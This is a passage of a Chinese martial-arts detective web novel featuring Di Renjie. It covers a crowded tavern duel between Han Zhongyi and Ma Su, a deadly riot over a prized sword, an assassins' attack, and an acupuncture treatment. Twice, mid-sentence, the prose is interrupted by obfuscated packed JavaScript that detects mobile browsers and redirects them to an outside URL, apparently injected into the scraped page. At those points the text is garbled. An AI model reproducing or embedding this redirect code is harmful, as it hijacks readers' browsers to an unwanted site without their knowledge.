胡乐埋怨道:“哎呀我喘不过气啦!都是韩护卫非要来看什么比武,唉有啥子好看的嘛!唉呀,肚里刚吃的还没消化儿呢,这滚来滚去的难受啊……” 韩忠义与他间隔着十几个人,听不清他说些什么,只听到一个“吃”字,笑骂道:“胡乐!你真能吃!还没吃够!” 狄宁扶着狄仁杰,狄仁杰扶着鹃儿,三人还未被人群挤散。 鹃儿笑道:“狄老爷,我还没见过这么多人呢。” 狄仁杰叹了口气。 胡乐矮小,什么都瞧不见,只有无数颗头动来动去,左摇右晃,挡住了自己的视线,四周便如隔墙一般,毫无出路,不由得又急又气,只破口大骂韩忠义。 韩忠义却什么也没有听见,只大叫:“大人!你在哪儿!大人!” 狄仁杰喊着应道:“忠义!我在这儿!我没事儿!” 原来,这“醉酿阁”乃镇子里最高最大的酒楼,如今却因为里面要比武的缘故,将几乎一镇之人都吸引了来观看。众人都爱看热闹,哪有不来的道理,既然来了,还不进去抢一个最好的位置,所以都疯也似的往里直冲,互相推来推去的,挤成了一团。 胡乐前后左右之人都比自己要高,快将自己挤压成了肉泥,倒一不小心将前面一人推了一下。见那被推着的人也不是很高,可还是比自己要高。 那人也被挤得动不得,被胡乐一推,不由得大怒,只当他是故意的,于是略一回头,便喝骂胡乐道:“肥矬子!推你娘的推!” 胡乐本无心,听他如此侮辱自己,倒气得也大喊大叫了起来,瞪着眼大骂道:“他妈的!我又不是故意推你的,你怎地骂我呀?!啊?!嘿不!我还就是他妈故意推你的!你咋地呀?啊?你个王八蛋,瘦瘪三!我就是看你小子不顺眼,故意来推你的!我就推你了,我就推你了,你怎么样,你怎么样!”一面骂着,又故意推那人。 那人反手一巴掌打来,正打在胡乐脸上,一面“死肥矬”的大骂。 旁边几人听了都怒道:“喂!你他妈的骂谁呢?!” 那人指着胡乐大叫:“骂他!” 旁边几人一见了胡乐,都点头道:“骂得不错,继续。” 胡乐平生最痛恨的就是人家骂他“肥矬”,还挨了一个嘴巴,气得都快要疯了,直接一个巴掌也朝那人打去,还被那人给挡掉了。 这时,韩忠义挤了过来,大叫:“胡乐!快来这儿!” 胡乐大叫着应了一声,愤怒地喊道:“韩护卫!有个小子打我呢!快来给我出气儿啊!” 那人正把胡乐痛骂着,突然一见了韩忠义高大威猛,竟然与胡乐是相识,唬得连忙挤到别处去了。 韩忠义、胡乐二人半日方又挤到了狄仁杰三人旁边。 狄仁杰五人又挤进了丈许,方到了大楼里面。 只见有四层楼高,空间非常大,人非常多,光线从几个窗户照进来,楼里还算亮堂。从楼梯到站台,桌子到椅子,满满的都是人,有站着的、坐着的、蹲着的、趴着的……男女老幼,观者如堵,少说也有千余人。人与人之间,几乎无一丝空隙。吵闹声非常之大,一片嘈杂喧哗,让人感到烦躁。 一楼的正中央,有一个中等大小的矩形擂台,旁边立着两根木杆子,横拴着一块大大的粗布,显得非常地土气,但上面飘逸的字体却是鸾翱凤翥、笔势如飞,从右到左,潇潇洒洒地写着“以武会友”四个大字,将那土气的粗布衬托得犹如圣旨,光彩照人。 众人的眼目一齐望向那擂台。 擂台上没有人。 众人等了一会儿,楼里的吵闹声稍微小了些。 …… 还是没有人。 这下,楼里的吵闹声更大了。 众人瞬间感觉到不对劲了。 “怎么回事儿啊?!”一个人大叫道。 “人呢?!”另一个大喊道。 “哄人呢!” “人怎么没来啊?!” “别吵了!”一个吼道。 “到底是谁叫我们来的?!”一个早已不耐烦的乱喊乱叫,“怎么人都到齐了,比武的还是没有来!” “那举办比武的到底是谁啊?”一个冷静些的问道。 这话一出,那些喊叫的也都不叫了。 “对啊,那人是谁啊?” “你们开玩笑吧!都不知道要比武的是谁,还都来干什么呀?” “我是听大街上有人乱嚷,说什么,醉酿阁里有人要比武,所以才来的。” “嘿,我也是啊!” “你也是吗?” “是啊,是啊!” “欸我也是!” “这么说,是假的了?” “不对啊!”其中一个指着擂台叫道,“那擂台本来没有的啊!” “掌柜!掌柜呢!” “掌柜怎么不出来说句话?” “都是来看热闹的,谁知道是真是假。” “真的!”其中一个叫道,“我听说是真的!” “你怎么听说的呀?” “我也听说了。”又一个道。“是个中年汉子,刚到镇子里来没多久,就是他举办的比武。” “可为什么要在酒楼里比武呢?外面不宽敞些?” “是啊,是啊!都挤在这楼里,多憋屈啊!” “掌柜!”一个人又叫,“躲哪儿去了?” “叫掌柜干吗呢?” “这擂台在他的酒楼里,他会不知道?” “对啊,掌柜哪儿去了?” 众人又吵了一阵。 “人怎么还没来啊!”一个人烦死了,大声喊叫。 “你别叫了!” “我就叫你怎么样!” “别吵啦!” “嗐,我看人是不会来了,还是都散了吧。” “对啊,还等什么呢?” 就在这时,突然传来了一阵哈哈大笑之声,声音非常洪亮,在大楼里面回荡。众人登时安静了。过了片刻,那笑声的回音渐渐消失,大楼里变得鸦雀无声。 突然间,众人均感劲风扑面、寒意飕飕,一阵冷风不知从何处袭来,楼里许多人都发出一声惊呼,想避开又避不开,于是都大惊失色,却又不敢叫喊。 韩忠义心道:“好强的内力!” 就在这顷刻之间,一个人,从不知何处,一跃而至,双脚轻轻地落在了一楼正中央的擂台之上。 只见那人国字脸,络腮胡,目光炯炯,相貌粗犷,神态豪爽,身形强壮,长发飘然,身穿破了洞的布衣,褴褛中更显得他经历了不少风霜,整体给人一种俊逸洒脱的感觉,却又不乏稳健厚重。 他手中拿着一把七彩斑斓、金光闪耀的宝剑,向众人团团一抱拳,一面朗声道:“马某在此多谢诸位捧场!今日,马某在这个醉酿阁中,举办比武,没有别的意思,只愿向天下英雄好汉挑战,一同切磋武艺!倘若哪一位在场的能在三十招以内不输于在下……” 众人大叫:“那怎么样!” 那人哈哈笑道:“那在下手中这把宝剑,便与了他!如何?” 众人见这把宝剑果真乃贵重之物,都瞪大了眼观看,一齐大叫:“好!只要三十招内没有败于你者,便可以得到此剑,对吗?” 那人笑道:“正是!当着天下英雄的面,马某又岂会食言?” 众人齐声叫好。 狄仁杰见此人手中那把宝剑极为面熟…… 韩忠义却并不在乎那把剑,只是想:“此人武功看来深不可测,绝非寻常等辈。他竟敢仅与自己三十招,我倒要看看,他如何打。倘若确无人能胜得了他,我最后再上,与他比比不迟。到那时,众人自会更加佩服我……”想着,不觉露出了得意之态,被胡乐给瞧见了,冷笑了几声,又被自己给听见了,并不理睬。 众人想,只要胜了那人,既能得宝剑,亦能于镇中扬名,遂皆愿意尝试。只是,他胆敢出此狂言,定然身怀绝技,自己又如何打得过? 那人在擂台上环顾四周,见无人敢上,又说一遍:“诸位可看好,这把宝剑,乃无价之宝!谁若……” 话未了,一人挺身而出,叫道:“我愿与你比!” 众人见是一个青年,便都从中让出了一条道来,看他慢慢地走上了擂台。 台上二人相互打了一拱。 那青年道:“你是用剑与我比呢,还是……” 那人笑道:“壮士何竟如此想,岂有用兵器战空手之人的理。” 那青年道:“我未必便输与你!” 那人点头笑道:“是,是。马某三脚猫的功夫,也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051960|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚夸耀之处。今日,只愿如粗布上所写四字,‘以武会友’而已。这把宝剑,乃我赠与三十招内未败于我者之礼,非我兵器也!”说着,在擂台旁放下了手中的宝剑。 那青年笑了笑,道:“那才公平,请吧!” 那人抱拳笑道:“壮士,请!” 那青年立时紧握双拳,一前一后,待对方同样摆出架势来。 却见那人垂着双手,一点不像是要比武的样子,众人均感诧异。 那青年又等了会儿,见那人脸露微笑,不觉大怒,拔脚飞奔而来,举起拳头便打向那人脸上。 那人仍是一动不动,神情自若。 不下一寸之时,众人皆以为已经打到那人脸上了…… 忽然闪电般刹那间,见那青年向后摔了下来。 众人大惊失色,只因连那人出招的影子都没有看见。 韩忠义却笑着点了点头,看出那人确实是有出招,只是极快,武功低微者看不见而已。并且方才那一招,那人仅是轻轻一推,连万分之一的力度都还没有使上,更不消说内力了。 那青年虽未摔痛,却当众出丑,不由得大怒,爬了起来,又是一拳打将去。 又是一瞬之间,那青年这次直接摔下了擂台,幸亏众人接住,才不曾伤到。 那人抱拳笑道:“承让!” 那青年羞的恨不得钻地缝,低头不出声了。 那人又道:“还有哪一位好汉肯来比比?” 众人均想,这还用比?别说三十招了,连一招也接不了啊! 忽听得人群中一人粗声粗气地叫道:“俺来!” 众人一看,见是一个满脸胡须的高大肥胖汉子。 众人还待让路,只见他直接一跃便上了擂台,显然是会武功的。 台上二人相互一拱,听那汉子道:“来,打吧!” 那人笑问:“敢问高姓?” 那汉子瞪眼道:“不必多问!打赢了俺再说!” 二人同时一声“请”,那汉子便已摆开了架势。 见那人仍是一动不动,便大怒,一声吼叫如雷,飞也似的打将来。 将要击中时,那人身子一斜闪过,再一拳,又被避开,接连几招,皆未着。 那汉子已连着出了有十余招,那人却没有一招还手,表示二人一招还未对上,更不消说三十招了。 那汉子怒道:“你他妈的怎地还不还手!” 那人笑道:“接招!”忽地出了一掌,那汉子还未反应过来,便已跌了下去。 明知不是对手,遂连忙抱拳叫道:“俺不打喽!你问俺高兴?俺不高兴!” 众人大笑,又都佩服那人武功之高。 那汉子自下了台。 那人笑道:“承让!还有哪一位?” 众人均不作声,心想谁想丢脸谁上吧。 这时,忽听得一人叫道:“好功夫!在下来领教一番!” 众人一看,见是一个大高个儿。 那说话的正是韩忠义。 他原想总该有几个会打的吧,然大众毕竟是老百姓,而自古英雄好汉便在少数,才为大众所敬仰。 大众的主要本领在于看热闹。 韩忠义见狄仁杰也并未阻拦,遂轻声道:“大人,卑职去去就来。”说着,一跃上台,与那人相互一拱。 二人直到眼神相交,方同时感到遇上对手了。 韩忠义见那人脸上隐约可见几道伤疤,被头发给遮住了,不禁诧异。但转念一想,江湖中人又有几个不曾受过伤的?因此也没加理会。 那人见韩忠义潇洒倜傥,问道:“好汉尊姓大名?” 韩忠义正待直说姓名,心思一动,改道:“在下义忠韩。”又问那人姓名。 那人笑道:“我姓马,名肃。” 韩忠义与那马肃,二人抱拳,一齐说声“请”。 这“请”字方出口,二人便同时摆出架势来。 众人均想,这一战估计有看头,不然怎地前两个挑战者,那人不摆架势呢? 胡乐向鹃儿笑道:“鹃妹妹,你好好瞧瞧咱韩护卫武功多高。” 鹃儿微笑点头。 就在这时,狄仁杰的眼目倏地一瞟,不由得大吃了一惊。 只见拥挤的场内,许多人正互使眼色,手握刀柄。 狄仁杰心想:“不好,楼里如何竟埋伏了这许多杀手!这里人山人海,倘若真动起手来,难免会伤及无辜……他们到底是冲着谁而来的?” 15. 第十五章 乱斗 擂台上韩忠义、马肃二人还未开打,都静静地等待着对方先动。 二人的眼目相互紧盯,片刻不离。 将及有一炷香过去了,二人却依然未动。 此时醉酿阁中有上千人,却是鸦雀无声,都凝神注视,连呼吸都不敢呼吸一口,就怕错过了什么。 二人,还是没有动。 但众人不敢催,也不愿催,因为他们比擂台上的两个人还要紧张。 好像是他们准备要打了似的。 没有声响。 阳光,从楼里的几个窗户,照了进来。 应该快下午了。 空气有一点闷,因为楼里的人实在是太多了。 太多了。 男女老少,都在看。 望着一楼正中央的擂台上看。 看那两个人,不动的样子。 …… 遽然间,二人动了! 动得太快了,如风一般无形,两个人是同时出招的! 两个人已经打上了! 众人兀自等待着看二人打,二人却早就已经打上了。平常人使一招的时间,二人现在已经连拆了十余招。 众人一晃眼间,才发现对战已经开始了,都一齐大声叫好。 韩忠义以攻为守,马肃反守为攻。一掌一拳连绵不断,一挡一格无有停歇。 众人都看得目瞪口呆。 狄仁杰心思却不在对战之上,只暗中注视着那些可疑之人的动向,心想:“有将及四五十人,他们到底要做什么?”想着,冷汗直流,不知道怎么办才好。 眨眼间,台上二人已连斗了百余招不止,却依然相持不下。 马肃心道:“此人武功如此之高,竟会出现在这小镇里,莫非他就是……” 韩忠义心道:“此人如此勇猛,倒有武将之风,又怎地……” 又拆得数招,二人猛地双掌相接,各自稍稍运起内力,登时劲风荡荡,微波旋旋。 众人不懂武功者,不知为何二人忽然打着便不动了。懂的道:“此二人乃武学奇才,只因外功比到了极致,比的便是内力了。” 此时已过了好几个三十招,然韩忠义并非为了宝剑而战,只欲出风头而已。如今碰上马肃这等高手,心里着实愈战愈快,笑道:“好功夫!定要与你分个高下!” 马肃笑道:“世上竟有义兄这般强者,真令马某大开眼界!来!” 二人遂使上更大内劲,将气沉于丹田,顿时一股猛烈的热风从各自身上散出,二人如火中烧。 众人看得胆战心惊,哪知比武能比到这种境界! 外在看似毫无波澜,内里却已惊涛骇浪。 二人双掌之间仿佛火花擦出了紫烟。 登时一声炸响,都猛然后退丈许。 众人大叫一声,尽皆骇然。 还未缓过神来,二人闪电般神速又过起了招。 此番乃内功外功相辅并用,招招之间带有寸劲,较才更为激烈。 韩忠义跳起身,一个腾空回旋踢飞将来,被马肃身子往后一仰避过,反击了一招上下掌,又被韩忠义迅即格开,接着就是一个扫堂腿。 马肃一跃,上了那写着“以武会友”的粗布,韩忠义也上去了。 在那么窄小的地方,需拥有绝妙的轻功方能站稳。 二人竟如履平地一般,于其上又打将起来,且丝毫不影响出招速度。 此刻已不下三四百个回合,仍是僵局。 马肃亦将三十招未败者与宝剑之说忘得一干二净,只顾与韩忠义较量来着。 手掌斜劈,卖了个破绽,立时飞起身来,使了个“连环腿”。 韩忠义硬接了十来腿,见腿势变幻莫测,上下连踹,几乎扛不住,遂登时使出了拳法妙招“无影拳”。 马肃与众人都大吃一惊。 这“无影拳”究竟有多快?那拳一个接着一个,明明出了,却连一点影子也看不见,仿若根本就没出的一般。以致于那被打着之人,已经被打着了,而尚不知觉。待发觉了自己已经被打着了,也已晚了。 刹那之间,韩忠义双拳如雨点般打将来。 马肃虽望不见招,却明知有招,韩忠义一拳拳即将碰到自己时,又都瞬间收了回去。明知乃韩忠义手下留情,否则随便一拳,自己都挡不住,遂连忙打拱道:“多谢义兄相让!马某今日,甘拜下风!” 韩忠义亦打拱笑道:“马兄亦是人中豪杰也!在下不过侥幸而已,马兄武功绝不在我之下,何必过谦?” 马肃忙笑道:“若非义兄给马某留有情面,马某唯当众出丑矣!” 韩忠义哈哈笑道:“你我是不分上下!正如这‘以武会友’四字,我们正是不打不相识啊!”说罢,与马肃一齐大笑起来。 马肃又向众人朗声道:“马某再次多谢诸位捧场,使我有幸认识义兄这位好朋友!今日这醉酿阁里所有人,唯尽情畅饮!至于酒钱,我马某全都给包啦!” 众人看二人对招早就呆了,现在又听马肃请他们白喝酒,于是都一齐叫好。 与此同时,人群中有一个老乞丐,因见无人再提起马肃那把宝剑,还以为众人都给忘了。 他正好就站在擂台旁,而眼前又恰好便摆着马肃适才随手一放的宝剑。 他眼睛瞪得如铃铛一般,嘴也张得大大的,心里想道:“我穷了一辈子,遭人嫌弃唾骂,讨饭被人羞辱,还被踢啊打呀……”不觉流下泪来,又想:“在这世上,穷人就不是人,我也想做一回人哪!要想在世上做人,就得有钱。面前这把宝剑,肯定价值很高。只要我一伸出手,那就是我的了。有了这把宝剑,就能有钱,有了钱,不但能做人,还能做人上人……我真的能当有钱人吗?我很有钱吗?我有钱,是啊,我很有钱!我是有钱人!”想着,便微笑了。 于是趁众人不注意,伸手将宝剑偷了来,便欲逃走。 不料众人里觊觎这把宝剑的有的是,只是谁也不敢先动手来拿。 其中一个未曾将眼目从宝剑离开过的,一见那老乞丐竟敢当先拿了,便忙指着他大叫:“喂!你竟敢偷宝剑啊!快放下!” 众人一听,都望向那老乞丐,齐声大叫:“喂!你竟敢偷宝剑啊!快放下!” 那老乞丐紧抓着宝剑不放,大叫:“宝剑是我的!我才是有钱人!”说着哈哈大笑就要跑,众人忙拦住他。 他见逃不走了,便大哭起来,拔出了宝剑,见人就砍。 这宝剑锋利无比,削铁如泥,况楼里处处是人,随便一挥即见血,登时大乱了起来。 众人一拥而上,将老乞丐扑倒在地,见他兀自紧抓着宝剑还有剑鞘不放,都喝问他为什么偷剑还砍人。 他满面泪痕看着众人大叫:“是你们!你们!还有你们!是你们逼我的!这世上没有好人!我不要钱啦!我只要杀人!”将宝剑一挥,又倒了一大片。 众人惧怕,都忙后退,见那老乞丐疯也似的冲将来,突然他脚下一绊,摔了一跤,剑刃正朝自己,一命呜呼。 众人见老乞丐死了,宝剑与剑鞘却仍在他身上,都拥上来抢。 其中一人抢到了宝剑,便去砍死了那抢走了剑鞘的,自己方将剑鞘亦拿到了手,又被群殴打死,宝剑与剑鞘终归了他人。 众人之间相互践踏,被踩死者不计其数。 还有二楼、三楼、四楼那些人,见了宝剑亦欲得之,却下不来,干脆直接跳到了一楼,又摔死了一堆。 其余的趁乱什么事没有做出来:有暴打他人的、拐走小孩的、非礼妇女的、没事找事的、乱喊乱叫的、乱哭乱嚎的、乱七八糟的…… 顷刻之间,酒馆变为战场,血流成河。 突然从一楼到顶层,五十余号人同时拔出刀来大叫:“杀死马肃!” 适才大乱之际,狄仁杰、鹃儿二人自有狄宁护着,胡乐自叫苦。 韩忠义、马肃二人本欲劝众人,又有何用?马肃还叫:“诸位!马某宝剑赠与你们了,勿相争也!” 然只一把剑又如何分赠? 不料这时五十多号杀手竟是冲着马肃而来的。 众人乍一见大吃一惊,都停手不争宝剑了,可只呆了一会儿,又继续争了起来。 忽听得一个沙哑的嗓音大叫:“不止马肃,还有狄仁杰、韩忠义他们!” 五十多号人遂也齐声大叫:“还有杀死狄仁杰、韩忠义他们!” 韩忠义听了那沙哑的声音,认出了那说话的蒙面人,指着他大叫:“是你!当夜劫走了彭大人的那个杀手领头!” 鹃儿听声音也觉得颇为耳熟。 那人哈哈大笑道:“没错儿,就是老子!适才饭馆二楼,便认出了你们几个兔崽子。受死吧,兄弟们上!”又补充了一句:“先杀狄仁杰要紧,他不会武功!” 杀手们顷刻间抛出了无数飞刀、飞镖、飞针、飞箭,暗器如雨,漫天飞舞,眼花缭乱,均飞向狄仁杰一人。 韩忠义大吃一惊,心想:“距离太远了,这番大人命休矣!” 说时迟那时快,忽地从反方向飞出了无数枚铜钱,将杀手们的暗器尽数击落,唯狄宁挡在狄仁杰的面前,身中一二。 适才暗器飞来之时,胡乐躲在狄仁杰的背后,抱头叫苦:“哎呀老爷啊!你这下死翘翘啦!我也完蛋啦!”一见没事儿,抬头一看,那铜钱原来是马肃打出来的,只因他身上别无它物,唯此而已。 韩忠义见马肃救了狄仁杰,忙向他道谢。 胡乐忙叫:“韩护卫!快来保护我!……还有‘大人’!” 韩忠义回头怒道:“我只保护大人,你给我死去吧!”说着与马肃同去抗敌。 众人中方才有许多身中暗器死的,然其余人非但不跑,还又都回来捡马肃丢的铜钱去了。 狄仁杰心里着急,忙大叫:“诸位!快走啊!这里危险啊!” 众人非但不听,反倒因为狄仁杰劝他们而大怒,以为他是想独吞钱财,因此骂他道:“不是因为你,这些人会来杀人?我们先杀了你再说!”遂蜂拥而上,欲杀狄仁杰。 韩忠义、马肃二人正与五十多个杀手对招,见众人来杀狄仁杰,顾了头顾不得尾,也无法了。 突然,胡乐挡在了狄仁杰的面前,大叫道:“嘿!干吗呢你们?!” 众人叫道:“干吗?!杀你主子呀!” 胡乐道:“你们老百姓怎地听风就是雨啊?” 众人道:“不听风就是雨还能叫老百姓?” 胡乐道:“你们老百姓怎地人云亦云没点儿主见去辨别是非呢?” 众人道:“能不人云亦云有点儿主见去辨别是非,还去当老百姓干吗?” 胡乐问道:“欸,那你们干吗要去当老百姓啊?” 众人叹了口气,突然反问道:“你个肥矬子不是老百姓?” 胡乐想了想,点头道:“是。”又骂道:“你们才是肥矬子!” 众人又要来杀狄仁杰,听胡乐大叫:“且慢!老百姓去杀老百姓?” 众人道:“你是老百姓,他也是老百姓?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051961|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>胡乐道:“你们知道他不是老百姓还敢杀?” 众人道:“不是知道不是老百姓才敢杀吗?” 胡乐道:“此言差矣!不是老百姓更不敢杀哟!” 众人道:“怎地说?” 胡乐道:“岂不闻古人云:‘普天之下,莫非王土……’”说到一半停住了。 众人道:“王土不是皇上的吗?关你屁事儿!” 胡乐大叫:“你们别吵啦!我已经给忘啦!啥‘之滨’来着?娘的……” 众人道:“‘治病’?治你‘娘’的病?” 胡乐敲脑袋大叫:“唉呀不对!我娘的病需要你们王八崽子治?是后面那两句,我忘了怎么说来着。” 狄宁插口道:“‘率土之滨,莫非王臣。’” 胡乐喜笑颜开,忙道:“对,对!”又指着众人道:“皇上的臣,你们老百姓敢杀?” 众人想了想,摇头道:“不敢。” 胡乐道:“那就散了吧。” 众人又想了想,点头道:“嗯。” 遂皆散了。 胡乐呆了呆,突然大乐了起来,忍不住哈哈大笑。 韩忠义正打得精疲力竭,气得大骂道:“胡乐!你又他妈的胡乐了!还不赶快带大人他们离开!” 胡乐“哦”的一声,与狄宁一块带着狄仁杰、鹃儿,直奔大门跑去。 这时醉酿阁里众人早散了,只有杀手、马肃,还有狄仁杰几人。 那杀手领头的大叫:“休放跑了狄仁杰!” 立时几个杀手持刀杀向狄仁杰。 韩忠义眼目一瞟,长剑一挥,剑气横扫,杀手又倒了一大片。 胡乐扶着狄仁杰,狄仁杰扶着鹃儿,向大门口奔去,狄宁在后力战两个杀手。 狄仁杰忙回头叫:“忠义!保护好他!” 韩忠义明知说的是马肃,点头答应道:“大人你们快走,我明白!” 狄仁杰几人遂出了大楼。 马肃一面打,一面与韩忠义道:“原来你就是韩忠义韩将军,久仰!” 韩忠义道:“如今只做狄公一名小护卫而已!” 马肃道:“狄公!他果真就是狄仁杰狄阁老?” 韩忠义道:“是的!” 那领头的冷笑道:“你们到鬼门关再谈吧!” 马、韩二人适才比武相斗良久,本已疲乏,如今又以寡敌众,渐渐力怯,遂边打边撤。杀手们直至最后方出,正是以逸待劳,见他二人出招慢了许多,遂皆乘机猛攻。 韩忠义见有几人要追赶狄仁杰他们,便持剑挥去,将几人打倒。 领头的大怒,叫道:“不要追狄仁杰了,只管杀死他俩!” 此时仍剩下四十多个杀手,将二人围在了一楼正中央。 二人眼神相顾,点了个头,便齐跃起身,欲投窗而出。杀手们忙分两路堵截。韩忠义跳到了站台上,猛推栏杆,一排排瞬即脱开,向杀手们飞将来,登时击倒了一堆。马肃拍案,桌上十几双筷子腾空,被他射将去,刺瞎了杀手的眼睛。二人又连踹桌椅,踢去酒罐,齐飞向杀手。 领头的突然一把雪松针抛出,飞向韩忠义。 韩忠义却背对着正与杀手过招,并未瞧见。 眼见将及,马肃忽然飞来推开他,叫道:“小心啊!”忙挥刀挡格,却不幸中了几根。 韩忠义一回头,见马肃中了暗器,忙将他拖了过来。 马肃顿感冰寒刺骨,随即不省人事。 领头的哈哈大笑,道:“好!除掉了马肃,就只剩韩忠义了!杀!” 韩忠义方将马肃背起,无数暗器便再度飞来,于是手持凌云宝剑,猛地一挥,使上了十足内劲,暗器瞬间都停于半空之中,又逆行回去,有一半杀手被自己的暗器射死。 领头的心想:“韩忠义武功之高,不料竟到了如此地步!当世或许唯帮主可与之匹敌……” 韩忠义背着马肃,展开轻功,跃窗便跑,行速极快。 领头的一声“追”,剩余的杀手亦追将出去。 这时,角落里一人爬了出来。 见人去楼空,空无一人,没有活人,只有死人。 这人大哭了起来,道:“俺做生意容易吗?开了这家酒楼,现在不但砸了个稀巴烂,还成了个停尸房!”他便是这酒楼的楼主。 他楼里的伙计们,方才趁乱早都逃走不干了。 楼主叹道:“大难来时各自飞啊!” 忽然低头一瞥眼,见尸体丛中有件东西正在闪闪发光。 走近一看,竟是马肃那把宝剑,旁边还有剑鞘。 他拿起来仔细瞧瞧,笑道:“果然是一件价值很高的宝物,应该比俺这一整栋楼还要值钱。也没亏本儿!嘿嘿!蠢东西们!争了半日,还是归了俺!哈哈哈!” 他于是收剑入鞘,哈哈大笑,离开了酒楼。 不料刚到大街上,就被一个人看见了,指着他大叫:“嘿!宝剑原来是你小子偷的呀!” 登时一堆人来围观,都指着那楼主,齐声大叫:“嘿!宝剑原来是你小子偷的呀!” 楼主大叫:“俺店都被你们给砸了,你们还想怎地!” 众人齐声大叫:“想要宝剑!” 楼主紧抓着宝剑不放,大叫:“宝剑是我的!”说着哈哈大笑就要跑。 众人一拥而上来抢。 那楼主见逃不走了,便大哭起来,拔出了剑,见人就砍。 突然他脚下一绊,摔了一跤,剑刃正朝自己,一命呜呼…… 16. 第十六章 遇险 下午时分。 日头当空,万里无云。 狄仁杰四人在五湖镇中到处乱窜,飞奔逃命,见大街上许多人正在抢夺马肃的宝剑,早已乱成了一团。狄仁杰四人也顾不得了,只管到处乱跑,跑得气喘吁吁的,拐了个弯,躲在了一个隐僻的巷子里。 鹃儿“哎呀”了一声,道:“太吓人了,刚才那么多人又打又杀的!” 胡乐跺脚骂道:“他妈的!咱倒了八辈子血霉啦!这些个杂种杀手怎地老跟着我们,跟着了瘟似的,甩也甩不掉!” 狄宁淡淡地道:“是我们先跟他们的。” 胡乐猛一扭头,瞅了他一眼,道:“是我们先跟他们的,可现在咋变成他们跟我们了?” 狄宁道:“因为我们先跟上了他们,所以他们现在能跟上我们。” 胡乐道:“我们跟上他们,是为了要跟上他们,不是让他们来跟上我们!” 狄宁道:“他们若是想要跟上我们,也不会因为我们没有跟上他们而不跟上我们。他们若不想跟上我们,即使我们跟上了他们,他们也不会来跟上我们。” 胡乐还待要说,听狄仁杰道:“好啦,不要争了。现在要紧的是,跟忠义他们会合。” 胡乐道:“老爷,咱都暴露了,还不逃啊?” 狄仁杰摇头,道:“我们此来,不正是为了要追踪彭大人的下落吗?现如今,这些歹徒先自露面了,而当夜那领头的亦在其中指挥。这正是引蛇出洞、求之不得的局面,可不能错失良机啊。” 狄宁道:“彭大人难道就在镇子里?” 狄仁杰思忖半晌,道:“我也不知道,也有可能吧。” 胡乐道:“那怎地和韩护卫会面呢?” 狄仁杰微笑道:“我想忠义他们定是在‘那里’等着我们。” 胡乐道:“哪儿啊?” 狄仁杰道:“我们既然并未提前约定好去处,那也只有我们已经去过的地方了。饭店人太多,且已暴露,应该不是那里。只有昨夜的小客栈了。” 几人听了都点头,说有理,于是跟着狄仁杰行小道,穿过几个巷子,来到了客栈。进去一问柜台的那个店主,他说二楼已经被昨夜跟你们同来的那个大高个儿给包了,还背着一个受了伤的长发男子。几人于是沿着老旧的木板楼梯连忙上了二楼。 这间客栈小到只此一屋,于是狄仁杰便敲门道:“忠义。” 屋里问道:“是大人吗?” 狄仁杰道:“是我。” 韩忠义忙开了门,狄仁杰几人便进来了。 韩忠义笑道:“我就知道大人会找到这儿。” 狄仁杰见床上躺着一人,正是马肃,已然神志不清。 韩忠义遂将马肃为救自己中了雪松针,又背他出来,甩掉了歹徒,来至客栈等经过三言两语快速说了。 狄仁杰听罢点头,道声“好”,便来看望马肃。 在床沿上坐下,捧起马肃手腕来,卷起了袖子,把起了脉。 一时,又换另一只手。 指头在寸关尺上感受脉象。 把脉毕,叹了口气。 韩忠义问道:“大人,他伤势如何?” 狄仁杰瞧了他一眼,道:“还好他底子不错,虽然中了雪松针,寒毒却尚未入骨,因此暂无性命之忧。只消我与他施个针,即日便可痊愈。” 韩忠义方松了口气。 狄仁杰从衣袖里拿出了一个旧旧的皮卷囊,在小木桌上展了开来。只见里面从大到小,各色各样的医用针皆有。胡乐按吩咐端来了一盆热水,还有一个抹布,也放在了狄仁杰旁边。狄仁杰先是盥洗了双手,擦干了,挑选了半晌皮囊里的针,选取了一根极细极小的,叫韩忠义扶起马肃来,脱去了他的上衣。鹃儿忙背转了过去。 狄仁杰看清了他背部与脖颈,在他的心俞穴上先轻轻地扎了进去。又挑了几根,分别在魂门、意舍、气海、肺俞、大杼、天柱等穴扎了。又看清了胸部与腹部,在膻中、玉堂、紫宫、华盖、璇玑、神阙等诸穴扎了。又有脚踝内侧三阴交、面部人中、太阳穴、头顶百会等穴。 施针过程中,狄仁杰既小心慎重,亦果敢立断。见马肃身上有许多旧伤痕,显然日久,早已愈合,唯脸上之伤犹新。今日与杀手对招,旧伤中添有新伤,兀自流血。因此,有伤之处的穴位,狄仁杰尽量避开,以免使之传染扩散。 半日,狄仁杰将针从马肃身上一一拔出。 那马肃登时一口鲜血直喷了出来,依然倒下不省人事。 韩忠义倒唬了一跳,道:“大人,他……” 狄仁杰摇摇手,道:“无妨,他吐出的便是寒毒,这下方无碍矣。让他歇一会儿吧。” 当晚。 一轮明月高挂中天,如水般的月光,透窗而入。 万籁俱寂,一丝风响皆无。 五湖镇的大街上,黑漆漆,空荡荡,没有一个人。 只有不知谁家院落里的狗在吠。 狗的吠声,在一片寂静中,更加明显。 汪,汪,汪。 街道旁,一间客栈。 小小的客栈。 二楼,房间里,亮着灯。 昏暗的灯。 里面有几个人。 是狄仁杰几个人。 他们当中的胡乐,已经倒在一旁呼呼大睡了。 